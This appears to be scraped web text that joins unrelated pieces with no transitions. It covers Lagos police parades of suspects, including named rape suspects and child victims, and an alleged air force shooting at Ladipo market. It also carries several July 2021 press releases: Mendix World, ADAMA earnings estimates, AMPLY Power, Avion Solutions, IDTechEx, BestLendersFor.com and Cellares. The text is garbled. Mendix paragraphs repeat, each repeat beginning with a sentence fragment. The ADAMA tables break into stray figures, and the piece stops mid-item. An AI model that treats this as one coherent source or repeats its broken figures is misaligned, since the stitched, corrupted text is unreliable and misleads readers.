Permit me to state, at this juncture, that the command, today, is parading a total number of 1,320 miscreants/hoodlums who were raided at various locations across the state and many dangerous weapons, suspected hard drugs, and weeds suspected to be Indian hemp were recovered from them, Mr Odumosu, said.

He disclosed that the command has established some tactical units to tackle the new dimensions of social vices in the state and this has paid off with the arrest of many suspects.

Arrest of murder, armed-robbery suspects

Mr Odumosu said the police is determined to harness all available means of reducing crimes and social vices in Lagos state.

He disclosed that between May and July, 66 suspected armed robbers, 72 suspected cultists, and 47 murder suspects were arrested in the state.

In addition, the command recovered 110 arms, 125 ammunition (of various calibres) while it recovered eight stolen vehicles, Mr Odumosu said.

He added that the command foiled 46 cases of armed robbery in the state and has charged 151 suspects to court amongst whom were suspected cultists and armed robbers.

The parade of suspects by the police is coming on the heels of an amended law recently passed by the Lagos State House of Assembly banning the police from parading suspects before the media.

Although the new law is yet to receive the assent of the governor, Babajide Sanwo-Olu, the police said they are unaware of such law at the assembly.
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The police in Lagos have arrested a 60-year-old suspect for allegedly running a baby factory in the Isolo area of the state.

Hakeem Odumosu, the Commissioner of Police in Lagos disclosed this on Wednesday during a parade of suspects at the Police Command, Ikeja.

The suspect, Augustina Onyenwe, was arrested on July 1 at Lawson Road, Isolo, where she allegedly operated a baby factory, the police boss said.

Mr Odumosu said the arrest of the suspect was based on the information received by the police that Mrs Onyenwe keeps young pregnant ladies at the location till they are put to bed.

A police team acted on the information, raced to the address, and rescued two heavily pregnant girls. The suspect has made a confessional statement to that effect.

The victims, ladies of ages 32 and 20 respectively, have been kept in protective custody while the suspect will be charged to court as soon as possible, Mr Odumosu said.

Cases of rape

The police also arrested three suspects for allegedly raping minors in different parts of the states.

The suspects, Fatai Balogun, 55; Dauda Suleiman, 35; and Chukwudi Echebele, 31 were arrested following complaints by the parents and guardians of the victims.

ALSO READ: 24 pregnant women rescued from baby factory in Calabar

According to Mr Odumosu, one of the suspects, Mr Balogun, allegedly raped his neighbours daughter who is nine years old.

Upon interrogation, the complainant said she noticed some odours and strange pains on the private part of the survivor. That, the survivor later revealed that the suspect has been having unlawful carnal knowledge of her since January 2021. The case will soon be charged to court after investigation, the police said.

Messrs Suleman and Echebele were also arrested for allegedly raping their neighbours daughters who are aged 9 and 19.

The police boss said the suspects will be charged to court after investigation.
The Association of Motor Spare Parts Dealers in Ladipo market has shut down the market over an alleged killing of traders by air force personnel on Tuesday.

Men of the Nigerian Air Force on Tuesday allegedly stormed the spare part market and shot at traders following an argument over a motor spare part purchased by a soldier.

Addressing the press on Wednesday, Jude Nwako, the president of spare part dealers in the market, said the incident was an unfortunate one because some traders lost their lives.

Meanwhile, only one death was confirmed by the market leaders, while three persons are said to be at the Lagos State University Teaching Hospital (LASUTH), receiving treatment for the gunshot injuries sustained.

It is quite unfortunate that soldiers will come into the market and start shooting directly at traders like they are animals.

It is getting out of hands, soldiers taking laws into their hands and we are here talking about Kickstarter worth of how much? N3,500. Somebody is dead which we dont know how many have died, so many are still in the hospital, Mr Nwako said.

The market leader said they met with army officials after the incident on Tuesday but the intimidation in their office was so much. He added that they are taking the matter to the highest authority.

We decided to shut down the market to show the world, to show Nigerians what happened in Ladipo and solidarise with the person that died, he said.

Mr Nwako said he could not make a statement on how long the market will be shut.

Witness account

A trader, Achuku Ezenwa, who witnessed what led to the shooting, narrated the incident to journalists on Wednesday.

Mr Ezenwa said the incident happened at about 11:45 a.m. on Tuesday when some customers were making complaints at the public complaint committee of the market.

A man was complaining about some goods, then a man wearing a white long shirt with army camouflage and a pair of jeans came and said they should attend to him immediately.

Mr Ezenwa said the market officials explained that they needed to finish with the person before him and this led to an argument.

He added that the other customer also demanded urgent attention and the soldier told him to keep quiet.

The soldier was said to have approached the public complaint committee over a Kickstarter he purchased in January which cost between N3,500 and N4, 000.

The officer left and after 10 minutes, he came back with OP Mesa and they started shooting, he said.

He said all efforts to calm the situation failed as the officers kept shooting at traders, killing one instantly while others sustained injuries.

People started running and throwing stones. People were running into their shops, he said.

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The market officials said intimidation and harrassment and intimidation by the military in the market has been a long-standing issue and mechanics and civilians now hire soldiers to threaten traders when transactions go wrong.

The market association called on the government and the army authority to investigate the matter.

RULAAC calls for impartial investigation

The Rule of Law And Accountability Advocacy Centre (RULAAC) in a statement on Wednesday urged the Lagos state governor, Babajide Sanwo-Olu, to look into the crisis.

Okechukwu Nwanguma, the executive director of RULAAC, said news of the attack and use of lethal weapons on traders is disturbing.

There are conflicting accounts of what actually led to the invasion of the crowded market by militay personnel who came in OP MESSA Hillux Vans and started shooting live bullets directly at traders resulting to fatalities and injuries.

But all accounts point to the fact that there was a dispute between a customer who purchased an auto spare part at the market and returned with the part demanding a replacement after the expiration of the warranty.

The exact details of what actually led to the shooting need to be investigated. But we are concerned about the involvement of military personnel in what appears to be a civil dispute and the use of lethal weapons on unarmed civilians, the group said.

RULAAC called on the Lagos State Governor to order an investigation with a view to unravelling the circumstances, identifying the perpetrators of this latest act of abuse of power and misuse of firearms.

Airforce denies shooting

Meanwhile, the Nigerian Air Force has denied shooting at traders in the Tuesday incident.

Edward Gabkwet, NAF spokesperson, said in a statement that NAF personnel attached to the Operation (OPs) MESA were at Ladipo market in response to a distress call.

A call was put across by traders on a fight going on between a soldier of the Nigerian Army (NA) and a civilian debtor. Upon receipt of the call, the team moved to the market but was attacked by angry traders who pelted stones at them.

Firstly, NAF personnel did not kill anyone. Moreover, it was one person that died not three. The information we have at the moment is that the NAF operatives who are attached to OPs MESA received a distress call that a soldier was having an issue with a debtor, Mr Gabkwet said.

He added that the officers went into the market to restore peace and two operatives were injured in the process of maintaining peace in the market.

We are going to investigate the incident to know what really happened. We will get to the root of the matter and if any of our operatives is found to have acted otherwise, they would be sanctioned accordingly, he said.
With gas prices likely soaring for the holiday weekend, are you planning to travel or stay close to home?

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PLATTSBURGH [mdash] Edward "Pete" Webber Jr., 97, passed away on July 16, 2021, at the CVPH Medical Center. He was born in Plattsburgh on Sept. 24, 1923, the son of Edward and Addie (Sanford) Webber Sr. Edward was employed as a printer for the Press-Republican for 45 years, following in his 
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Cloudy. A stray shower or thunderstorm is possible. High 78F. Winds NNW at 5 to 10 mph..

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The Prince William Times is honored to serve as your community companion. To say thank you, we are excited to offer 4 weeks FREE Digital & Print access to all subscribers new and returning alike.

We are dedicated to continuing providing reliable, high quality journalism. This is possible with the trust and support of our subscribers in the community we are proud to serve.
- Fortune 500 execs, enterprise tech leaders, low-code experts, and leading industry analysts will offer a comprehensive view on low-code's pivotal role in enterprise digitalization

- Business and IT leaders and 'makers' are invited to tailor personalized agendas of sessions, workshops and roundtables to get the most out of the event

BOSTON, July 14, 2021 /PRNewswire/ -- Mendix, a Siemens business and global leader in low-code application development for the enterprise, today announced the complete session schedule of technical how-tos and executive presentations that will be featured at Mendix World 2021 . The three-day virtual conference, beginning September 7, is the world's largest and most prestigious annual low-code event, where everyone with a role in enterprise digitalization comes to discover, network, share knowledge, and learn more about the tools, techniques and strategies propelling the low-code software development movement forward.

Makers from every corner of the enterprise who are dedicated to creating the digital future of their organizations should register and begin creating their personalized conference schedule. Registrants can find sessions relevant to their industry and their job role or by topic areas, such as process automation, IoT and data integration, on the event website.

As software's central role in executing business-critical needs continues to increase in complexity and sophistication, Mendix is providing enterprise digitalization stakeholders with crucial knowledge and skills. In over 85 breakout sessions, attendees can expect to see the work of Mendix customers, hear perspectives from industry analysts, and see demos of the latest Mendix platform enhancements.

Industry experts and guest speakers

This year's lineup of speakers includes leaders from Fortune 500 companies, industry strategists and Mendix implementation partners. John Bratincevic of Forrester will discuss the role of low-code in implementing process automation at scale. Executives from Accenture Digital will talk about the current state of low-code and its growing role in the future of custom software development.

From the customer side, Mohammed Kaka, chief operating officer at Al Baraka , an international banking group headquartered in Bahrain, will share how a banking solution developed on low-code is enabling the company to deliver consumer-grade applications while expending fewer resources than rivals. "As a challenger bank operating in a competitive space, we are eager to share the insights and benefits Mendix has brought to our organization by increasing our ability to improve customer satisfaction and deliver digital solutions," Kaka said.

"Mendix enables flexible and iterative development," said Linda Lin, consulting director at ClaimSecure, Canada's largest privately held healthcare management firm. "As a first-time user, I'm amazed at the speed of application development  from concept to requirement gathering to product delivery. I'm excited to share our business perspective and also hear how others have used the technology to deliver manpower efficiencies and improved customer satisfaction."

Beyond one-size-fits-all

Whether attendees are beginning their low-code journey or seeking guidance on next-level digitalization strategies, Mendix World 2021 offers a wide variety of content on which to build.

Business and IT leaders will hear how real business problems in banking, insurance and manufacturing were solved with low-code. They can see how other leaders are employing Mendix to create sophisticated multiexperience applications, harness ascending technologies like AI and IoT, and create exceptional customer experiences. Attendees will share stories about how the Mendix all-in-one platform helped them transform industry-specific knowledge into next-generation digital services that foster more efficient engagement with customers, employees and suppliers.

will hear how real business problems in banking, insurance and manufacturing were solved with low-code. They can see how other leaders are employing Mendix to create sophisticated multiexperience applications, harness ascending technologies like AI and IoT, and create exceptional customer experiences. Attendees will share stories about how the Mendix all-in-one platform helped them transform industry-specific knowledge into next-generation digital services that foster more efficient engagement with customers, employees and suppliers. Enterprise architects are being asked to design a strategic technology direction that supports a company's mission both today and in the future. Accordingly, as the scope of their role has expanded, the content available for them at Mendix World has increased and become more diverse. With session tracks around "Architect For Scale" and "Lead Business Transformation," for example, enterprise architects can learn how to choose and establish a mobile architecture strategy, how their peers manage long-term tech evaluations, and how Mendix supports security and empowers governance as enterprises grow.

are being asked to design a strategic technology direction that supports a company's mission both today and in the future. Accordingly, as the scope of their role has expanded, the content available for them at Mendix World has increased and become more diverse. With session tracks around "Architect For Scale" and "Lead Business Transformation," for example, enterprise architects can learn how to choose and establish a mobile architecture strategy, how their peers manage long-term tech evaluations, and how Mendix supports security and empowers governance as enterprises grow. Professional developers will find an abundance of fare to uplevel their abilities, whether they are novice Mendix developers or professionals who have worked with Mendix for years. The agenda features how-to sessions and live demonstrations covering topics such as building full-text search capabilities with Elasticsearch, using Mendix with Azure DevOps for CI/CD, UX design best practices, and QA for Mendix applications.

will find an abundance of fare to uplevel their abilities, whether they are novice Mendix developers or professionals who have worked with Mendix for years. The agenda features how-to sessions and live demonstrations covering topics such as building full-text search capabilities with Elasticsearch, using Mendix with Azure DevOps for CI/CD, UX design best practices, and QA for Mendix applications. New-to-Mendix attendees will find a portfolio of sessions designed to quickly bring them up-to-speed on low-code with key skills and best practices. The sessions will offer advice on evaluating low-code platforms from customers who have done so and explanations of market trends and how to build a first application with Mendix.

"As global enterprises revise their strategic approaches to succeed in the new, post-pandemic economy, thousands of individuals will converge at Mendix World to learn the latest and most innovative ways to speed up and digitalize their operations and customer interactions," said Mendix CEO and Cofounder Derek Roos. "Mendix is the most powerful and accessible platform for developing high-value solutions. We're ready and excited to welcome makers of all skill levels from around the globe to Mendix World 2021."

Register for Mendix World , explore the agenda, and start building your personalized conference adventure.

About Mendix World

Mendix World 2021 is on track to be the largest worldwide gathering of low-code experts, technology pioneers, business leaders, industry analysts, and software developers who will share their first-hand experiences tackling enterprise digitalization using low-code software development. Thousands of individuals interested in a wide range of digital solutions across multiple economic sectors will be able to choose between live Q&As, learning tracks, demonstrations, and small-group gatherings of solution architects, business strategists, and IT experts attending this year's three-day-long virtual conference.

Register for Mendix World

Early registration will ensure that attendees are up-to-date about speaker announcements and other key news heading into the conference as it happens. For more information about Mendix World and to register, please visit Mendix World 2021 Registration .

Connect with Mendix

Follow @Mendix on Twitter

Connect with Mendix on LinkedIn

About Mendix

Mendix, a Siemens business and the global leader in enterprise low-code, is fundamentally reinventing the way applications are built in the digital enterprise. With the Mendix platform, enterprises can "Make with More" by broadening an enterprise's development capability to conquer the software development bottleneck; "Make it Smart," by making apps with rich native experiences that are intelligent, proactive, and contextual; and "Make at Scale," to modernize core systems and build large app portfolios to keep pace with business growth. The Mendix platform is built to promote collaboration between business and IT teams and dramatically accelerate application development while maintaining the highest standards of security, quality, and governance. Mendix World is the premiere low-code event of the year, attracting nearly 10,000 Mendix enthusiasts and from every business segment.

Press Inquiries

Sara Black

sara@bospar.com

(213) 618-1501

Dan Berkowitz

Senior Director of Global Communications

Mendix

Dan.Berkowitz@mendix.com

(415) 518-7870

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SOURCE Mendix
TEL AVIV, Israel and BEIJING, July 14, 2021 /PRNewswire/ -- ADAMA Ltd. (the "Company") (SZSE: 000553), today provided an estimate regarding its financial performance for the first half of 2021.

Sales

ADAMA is expecting to report sales growth of more than 18% in USD terms (7% in RMB terms) in the second quarter compared to the same quarter last year, driven by continued robust volume growth in all key regions. This strong performance should drive sales growth of 16% (7% in RMB terms) over the half-year period, compared to the corresponding period last year.

In the second quarter, the Company is expecting to deliver robust growth in Asia Pacific, led by a strong performance in China and the Pacific. In China, the Company is seeing strong growth, both from sales of its branded, formulated portfolio, supported by the acquisition of Huifeng's domestic commercial arm at the end of 2020, as well as from sales of its raw materials and intermediates, similarly bolstered to some extent by the recent acquisition of Huifeng's manufacturing assets at the end of May 2021. In the rest of APAC, the Company is expecting to record continued growth, with a noteworthy performance to be delivered in Australia, more than offsetting the challenging seasonal conditions in South-East Asia, and the lingering effects of COVID-19 which continues to challenge local farmers throughout the region.

In North America, the Company is expecting to record continued robust growth from its Consumer and Professional business, alongside a solid performance in the crop protection arm, recovering from first-quarter headwinds seen there.

ADAMA is expecting to deliver pleasing growth in Latin America, driven by business growth in Brazil supported by the strong crop prices, and despite ongoing drought conditions which affected the corn planting season in the country, as well as growth seen in other countries across the region.

The Company is expecting to report strong growth in the India, Middle-East & Africa region, led by India, which enjoyed favorable weather with a strong start to the monsoon season, enabling good cropping conditions.

Sales in Europe are expected to grow, aided by a recent region-wide heatwave, causing higher disease and insect pressure in most countries, following a prolonged cold spell. Noteworthy performances are foreseen across eastern Europe, supported by favorable conditions in key crops, as well as in Italy and Greece, bolstered by the Company's recent acquisition there. These are expected to more than compensate for softer performances in certain countries in the western part of the continent.

Net Income

Reported Net income in the second quarter is expected to be somewhat higher than reported in the same quarter last year. Despite the exceptionally strong increase in sales, the Company is seeing pressure on gross margins, impacted by higher procurement and production costs, as well as the strengthening of the RMB and the ILS. The higher gross profit is expected to be partially offset by increased operating and financial expenses.

The expected increase in operating expenses will largely reflect the strong volume-driven growth of the business and acquisitions made, alongside a significant increase in global logistics and shipping costs, as well as the weaker US dollar. The expected increase in financial expenses is driven by the effect of the increase in the Israeli CPI on the ILS-denominated, CPI-linked bonds. In contrast, the Company expects to see lower tax expenses due to tax income resulting from the impact of the stronger BRL on the value of non-monetary tax assets.

Over the half-year period, ADAMA is expecting to record marked net income growth when compared to the corresponding period last year, driven by the strong growth in net income recorded in the first quarter and further augmented by the increase in the second quarter net income.

Reported Net Income

Estimated H1 2021

H1 2020 Net income attributable to shareholders (USD millions)

51  61

29 Earnings per share (USD)

0.0219  0.0262

0.0118 Net income attributable to shareholders (RMB millions)

330  394

205 Earnings per share (RMB)

0.1416  0.1693

0.0836











The Company's reported net income in the second quarter and first half is expected to reflect around $30 million and $59 million, respectively, of net expenses in respect of certain transitory or non-operational and non-cash items, including mainly:

Approximately $21 million in Q2 2021 (Q2 2020: $8 million ) and $34 million in the first half (H1 2020: $22 million ) in net Relocation & Upgrade-related costs, including mainly (a) higher procurement costs incurred as the Company continued to fulfill demand for its products in order to protect its market position, through replacement sourcing at significantly higher costs from third-party suppliers; and (b) idleness charges largely related to suspensions at the facilities being relocated; Approximately $7 million in Q2 2021 (Q2 2020: $8 million ) and $15 million in the first half (H1 2020: $15 million ), in non-cash amortization charges in respect of Transfer assets received from Syngenta related to the 2017 ChemChina-Syngenta acquisition; Approximately $3 million in Q2 2021 (Q2 2020: $2 million ) and $6 million in the first half (H1 2020: $4 million ), in net charges related mainly to the non-cash amortization of intangible assets created as part of the Purchase Price Allocation (PPA) on acquisitions, with no impact on the ongoing performance of the companies acquired, as well as other M&A-related costs.

Excluding the impact of the abovementioned transitory or non-operational and non-cash items, the Company is expecting to deliver the following Adjusted Net Income:

Adjusted Net Income

Estimated H1 2021

H1 2020 Net income attributable to shareholders (USD millions)

110  120

95 Earnings per share (USD)

0.0472  0.0515

0.0389 Net income attributable to shareholders (RMB millions)

711  775

670 Earnings per share (RMB)

0.3051  0.3328

0.2740











Note: The H1 2020 Adjusted Net Income shown above has been amended from that presented at the time to include additional adjustments in order to consistently reflect largely the treatment of Relocation & Upgrade Program-related costs amongst other adjustments that the Company has deemed non-operational and one-time in nature.

These estimations are preliminary and have not been audited or reviewed by the Company's auditors. These estimations may change, inter alia, as a result of the further processing and analysis of the financial data that the Company will perform for the preparation of its financial statements which will be released on August 26, 2021.

Investors are reminded to exercise caution when making investment decisions.

About ADAMA

ADAMA Ltd. (SZSE: 200553) is a global leader in crop protection, providing solutions to farmers across the world to combat weeds, insects and disease. ADAMA has one of the widest and most diverse portfolios of active ingredients in the world, state-of-the art R&D, manufacturing and formulation facilities, together with a culture that empowers our people in markets around the world to listen to farmers and ideate from the field. This uniquely positions ADAMA to offer a vast array of distinctive mixtures, formulations and high-quality differentiated products, delivering solutions that meet local farmer and customer needs in over 100 countries globally. For more information, visit us at www.ADAMA.com and follow us on Twitter at @ADAMAAgri .

Contact

Ben Cohen

Global Investor Relations

Email: [email protected]

Zhujun Wang

China Investor Relations

Email: [email protected]

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SOURCE ADAMA Ltd.
MOUNTAIN VIEW, Calif., July 14, 2021 /PRNewswire/ -- As the energy transition to electric transportation such as electric buses and trucks gains market momentum and political support, AMPLY Power is now delivering 100 percent clean energy to its electric fleet customers. The Charging-as-a-Service innovator now ensures only California-sourced renewable power from wind and solar sources is used by its California fleet customers in order to reduce the effects of climate change through the adoption of clean energy. AMPLY is already managing multiple gigawatt-hours of energy per year for its California customers.

"For any transit authority looking to make the switch to electric vehicle operations, guaranteeing that the energy we are using is renewable and carbon neutral, furthering our commitment to zero-emission transportation," said Steve Ponte, Chief Operating Officer of Tri Delta Transit. "AMPLY is over-delivering on this promise with its intelligent Charging-as-a-Service platform ultimately helping us realize a 40 percent savings."

With this initiative, AMPLY is leveraging its proprietary charge management system, OMEGA, to track and aggregate megawatt hours of electricity used by its California customers and purchasing renewable energy credits (RECs) to cover the amount of power being used. The renewable energy effort complements AMPLY's overall electric fleet charging solution to ensure that each electric vehicle is charged with clean energy and ready for work each day, in exchange for a price-per-mile-driven fee. The company's software also optimizes vehicle charging to minimize energy costs and maximize vehicle uptime.

"We've truly 'flipped the switch' to deliver 100 percent clean electricity to all of our customers, including Tri Delta Transit, Solano County Transit, Palermo Unified School District, and more," said Vic Shao, CEO at AMPLY Power. "Not only does this help achieve countrywide decarbonization goals, but also helps customers reduce their Scope 2 greenhouse gas emissions. This renewable energy initiative ensures that our customers' vehicles are truly operating on zero-emissions, without the high costs of generating and storing renewable energy on site."

Tri Delta Transit is a prime example of how AMPLY can effectively convert fossil fuel-powered fleets to electric and ultimately achieve cost savings while reducing their carbon footprint. The company has worked with a number of transit authorities, school bus, and trucking fleets in the state of California and ultimately plans to expand this initiative to other states.

About AMPLY Power

AMPLY Power is a comprehensive electric vehicle charging and energy management provider for fleets operating trucks, buses, vans and light-duty vehicles. Our intelligent charge management software, OMEGA, optimizes charging for lowest cost energy, while offering improved resilience and reliability, all in a user-friendly dashboard. Paired with our Charging-as-a-Service model, our vehicle and charger agnostic approach allows us to handle all the details of charging a fleet's EVs, guaranteeing performance and dramatically reducing upfront capital. To learn more about AMPLY, please visit www.amplypower.com or LinkedIn and follow @AMPLYpower on Twitter.

About Tri Delta Transit

Tri Delta Transit provides over 3,000,000 trips each year to a population of over 250,000 residents in the 225 square miles of Eastern Contra Costa County. They currently operate 15 local bus routes Monday Friday, four local bus routes on weekends, door-to-door bus service for senior citizens and people with disabilities, and shuttle services to community events.

For additional information about Tri Delta Transit, please visit www.trideltatransit.com .

Media Contact:

Technica Communications for AMPLY Power

Lisa Ann Pinkerton

[email protected]

SOURCE AMPLY Power

Related Links

https://www.amplypower.com/


HUNTSVILLE, Ala., July 14, 2021 /PRNewswire/ -- Avion Solutions, Inc. is pleased to announce the award of a One Acquisition Solution for Integrated Services (OASIS) Small Business (SB) task order for Engineering and Program Management Support Services to the Aviation Turbine Engine Project Office (ATE PO). Avion is the prime contractor, teamed with IronMountain Solutions (IMS), PeopleTec, Tecolote Research, Torch Technologies, and SAIC. Avion will perform Business and Operations, Engineering, Acquisition Logistics, and Integrated Product Support functions within the ATE PO, supporting the Improved Turbine Engine (ITE), T700, T55, and Power Generation efforts. The task order is valued at $70 million over five-years.

"We are excited about this opportunity to support the ATE Project Office," said Chad Donald, President and CEO of Avion Solutions. "This task order enables Avion Solutions and our employee owners to expand our support to the Warfighter by providing solutions to the challenges of developing, integrating, and managing Army Aviation propulsion systems."

About Avion Solutions

Avion Solutions, Inc. is a 100% employee-owned innovative engineering and logistics solutions provider for complex military-grade projects. Headquartered in Huntsville, Alabama with locations across the U.S., Avion Solutions has provided solutions to Department of Defense customers and commercial clients since 1992. Our broad range of technical expertise includes engineering, logistics and technical services, data analysis, software development, small Unmanned Aircraft Systems (UAS) and drone services, and development of a full spectrum of training solutions ranging from on-site classroom training to interactive multimedia instruction (IMI) programs. Avion Solutions is a 2020 Best Places to Work award winner. To learn more, visit www.avionsolutions.com.

Contact: Michael Jones, Communications Manager

Phone: 256-327-7155

Email: [email protected]

SOURCE Avion Solutions Inc.

Related Links

avionsolutions.com


BOSTON, July 14, 2021 /PRNewswire/ -- The rapid increase in adoption of batteryless solutions is tracked in the IDTechEx report, "Battery Elimination in Electronics: Market Impact IoT, 6G, Healthcare, Wearables 2021-2041".

In India, Pune-based Jeevtronics has just announced a hand-cranked, battery-less defibrillator, which can be used in the absence of electricity. That matters, because according to a report by Arrhythmia and Electrophysiology Review (AER), 17 million people yearly die of sudden and unexpected cardiac arrest. The company notes that sudden cardiac arrest is such a dangerous condition that it can kill the patient in 10 minutes. At that time, an external defibrillator is used to provide electric shocks to restore heartbeat and at that time, the hospitals will need rock-solid electricity to ensure emergency care.

Complementary to this is a newly-announced implanted defibrillator and heart pacemaker. Researchers at Northwestern and George Washington universities have developed the first-ever transient pacemaker  a wireless, battery-free, fully implantable pacing device that disappears after it is no longer needed. The thin, flexible, lightweight device could be used in patients who need temporary pacing after cardiac surgery or while waiting for a permanent pacemaker. All components of the pacemaker are biocompatible and naturally absorb into the body's biofluids over the course of five to seven weeks, without needing surgical extraction.

The device wirelessly harvests energy from an external, remote antenna using near-field communication protocols  the same technology used in smartphones for electronic payments and in RFID tags. This eliminates the need for bulky batteries and rigid hardware, including wires.

"Hardware placed in or near the heart creates risks for infection and other complications," said Northwestern's John A. Rogers, who led the device's development. "Our wireless, transient pacemakers overcome key disadvantages of traditional temporary devices by eliminating the need for percutaneous leads for surgical extraction procedures  thereby offering the potential for reduced costs and improved outcomes in patient care. This unusual type of device could represent the future of temporary pacing technology."

Raghu Das CEO of IDTechEx notes that, "Smartwatches are now serious medical devices but sleep information cannot be tracked during charging at night because the smartwatch has been removed for charging. Indeed, the main reason users discontinue the long-term use of wearable devices is because they must frequently charge the battery. Now the University of Massachusetts uses skin conduction and MHz radiation to charge the watch without you removing it, meaning it can monitor you 24/7. This is legal and safe and can involve energy storage without batteries.

Little wonder that battery-eliminator Everactive in the US has just raised an oversubscribed $35 Million Series C Financing. It is to accelerate the growth of battery-less pervasive remote monitoring for Industry 4.0. Its nodes have ultra-low-power radio so can be powered by body heat and other harvesters."

Hill Air Force Base in Utah is involved in a demonstration project to use small, very low-wattage sensors by Everactive to monitor the health of steam delivery and mechanical systems, electric motors, pumps, fans, and other rotating devices. These always-on wireless sensors deliver continuous cloud-based analytics at a scale not possible with battery-powered devices.

Everactive targets high-volume industrial assets that are currently unmonitored or under-monitored precisely because they exist in such a high volume. Indeed, they point out that most plants are unwilling to place battery-powered sensors on thousands of motors, pumps, compressors, or steam traps; the logistical cost of adding thousands of items to a maintenance list is not only prohibitive but also defeats the cost-saving purpose of those very sensors.

The new investors joined existing investors including New Enterprise Associates, which counts former General Electric CEO Jeff Immelt as a Venture Partner and key advisor to its portfolio of industrial companies.

"The industrial sector has eagerly awaited the data explosion promised by IoT solutions, but has been continually let down," said Immelt. "By eliminating the need for batteries, Everactive can offer extremely scalable and cost-effective solutions for generating the data streams required to reap the full benefits of IoT. With self-sustaining sensors, retrofitting thousands of pieces of legacy equipment across a plant or refinery becomes a reality."

Different routes

Wireless tire pressure monitoring systems are progressing by use of surface acoustic waves, electromagnetic H fields, and other means. Nuclear Diamond Battery (NDB) has created a microchip with a radioactive heart that claims to last 28,000 years without ever needing a charge. i4 Product Design now has a feasibility study, funded by a grant from Scottish Enterprise, to explore how energy harvesting can power electronics and the Internet of Things.

Android now has documentation on how it handles products that have no internal batteries. 6G Communications that is expected in 2030 will revolve around devices with the lowest power so energy harvesting suffices and even devices without power, the device being driven by the 6G signal beam rather like battery-less RFID by backscatter. Call it Wireless Information and Energy Technology (WIET) and learn the full detail of this specific in IDTechEx report, "6G Communications Market, Devices, Materials 2021-2041".

To learn more about battery elimination in electronics please visit www.IDTechEx.com/BattElim, or for the full portfolio of research available from IDTechEx please visit www.IDTechEx.com.

About IDTechEx

IDTechEx guides your strategic business decisions through its Research, Subscription and Consultancy products, helping you profit from emerging technologies. For more information, contact [email protected] or visit www.IDTechEx.com.

Dropbox link:

https://www.dropbox.com/sh/jcv50zggt5taqlp/AABW8Ic7xFmkOuUibJTE-x_Ta?dl=0

Media Contact:

Natalie Moreton

Digital Marketing Manager

[email protected]

+44(0)1223 812300

Social Media Links:

Twitter: https://www.twitter.com/IDTechEx

LinkedIn: https://www.linkedin.com/company/idtechex/

Facebook: https://www.facebook.com/IDTechExResearch

SOURCE IDTechEx
The USA Mortgage Market has experienced a massive rebound recently as consumers recover from the economic pressure and residual effects of the lockdowns caused by the Covid-19 Pandemic. More consumers are now looking to move their existing homes, purchase new homes or refinance their existing home at better rates and find it difficult sometimes to pick the best lender to go with. BestLendersFor.com is a tool for consumers to eliminate that confusion. Through its own diligent research, extensive conversations with each lender, a review of each lenders consumer reviews and plugging into each lenders daily offered rates in real time, it will give consumers a one stop place to save time, money and headaches when it comes to trying to search and decide which of the hundreds of lenders to go with for their mortgage, purchase, or refinance needs.

Tyler Ferguson, the companies head of marketing re-iterates the need for such a platform in a fast-paced environment. "With the world moving at such a pace, and conditions changing daily, we at BestLendersFor.com aim to help the consumer by doing all of the research for them on the best lenders for Mortgages, and soon, other financial verticals. Countless hours go into ranking the top lenders on our platform, in order to bring the most up to date, real data along with real time mortgage rates to any consumer that visits BestLendersFor.com" Says Tyler. "What's even better, is that our platform is free to use for all visitors looking for help in picking the right mortgage lender for their needs".

The USA housing market has spiked in recent months and sees no slowdown in growth ahead. Purchasing a new home, moving, or refinancing your existing home is one of the largest decisions one can make in their lives and it is important to have the tools at your disposal to be able to appropriately pick the lender right for your needs. BestLendersFor.com plans to continue to keep its finger on the pulse in the USA mortgage market and will be available for consumers to use 24/7 without cost to aid them in their decision-making process.

As a digital provider the platform is also helping applicants maintain social distancing. Consumers will be able to use BestLendersFor.com as a contact-free service without leaving the comfort and safety of their homes, allowing consumers to obtain what they need, without having to step foot in a bank, office building, storefront, loan shop or similar, and all loans or services that you apply for through BestLendersFor.com will be processed digitally.

About BestLendersFor.com

Established in 2015, BestLendersFor.com is a subdivision of Consumer Genius Inc. one of North America's fastest growing loan comparison firms, that allows borrowers to compare rates from multiple lenders, comparing credit card rates, car loans, personal loans, small business loans and even credit rebuilding services. Consumer Genius combines expert advice and the best financial tools, empowering its customers to make the smartest financial decisions; Consumer Genius is dedicated to bringing financial advancement to consumers and businesses who deserve to grow and flourish, at their rate on their terms. Consumer Genius Inc. also owns top brands such as LendingArch, CarMonk, Crush Leads, Cars Fast and Loanz.

SOURCE BestLendersFor.com
Cellares initiated the EAPP in 2020 to provide participants with visibility and early access to Cellares' Cell Shuttle , a next generation cell therapy manufacturing platform enabling closed, automated, and scalable production of cell therapies. By entering the program, Poseida is helping advance the Cell Shuttle's development, range of use, and applicability via insight and experience with respect to manufacturing workflows for a variety of autologous and allogeneic cell therapies.

"We're thrilled to have Poseida Therapeutics on board to help broaden the possibilities for our Cell Shuttle platform," said Cellares co-founder and chief executive officer Fabian Gerlinghaus. "Poseida's tremendous expertise in the cell therapy space, especially spanning a diverse range of therapeutic modalities, is a huge boon to our developmental efforts. We anticipate our work with Poseida to demonstrate the Cell Shuttle's adaptability for multiple cell therapy modalities, particularly CAR-T cells."

Poseida currently has two autologous CAR-T product candidates in the clinic, including P-BCMA-101, for patients with relapsed/refractory multiple myeloma, and P-PSMA-101, for patients with metastatic castrate-resistant prostate cancer. The company, which completed an initial public offering in July 2020, also has off-the-shelf versions of both therapies in development, and is exploring TCR-T, anti-c-kit CAR-T, induced pluripotent stem cells (iPSCs), and genetically modified hematopoietic stem cells (HSCs) and NK cells. Immunotherapy pioneer and distinguished oncologist Carl June, M.D., an advisor to Cellares who helped guide the development of the Cell Shuttle, recently joined Poseida's Immuno-Oncology Scientific Advisory Board.

"The flexibility of the Cell Shuttle matches the breadth of approaches we are developing at Poseida," said Kerry Ingalls, Chief Operating Officer at Poseida. "To work across our cell therapy portfolio, an automated manufacturing system should be capable of reliably producing a range of therapies autologous and allogeneic CAR-T and in both solid and hematological cancers, for research and at scale for clinical trials and, ultimately, commercial applications. By joining forces with Cellares, we believe we can leverage the Cell Shuttle's capabilities to help support our overall manufacturing strategy, further advancing cell therapy manufacturing."

As part of Cellares' EAPP, Poseida will evaluate the Cell Shuttle prototypes and provide data and written feedback relevant to its function and performance. This will include user studies that assess the Cell Shuttle's hardware and software, product requirements, release criteria, and process workflows to help ensure product-market fit.

About The Cell Shuttle

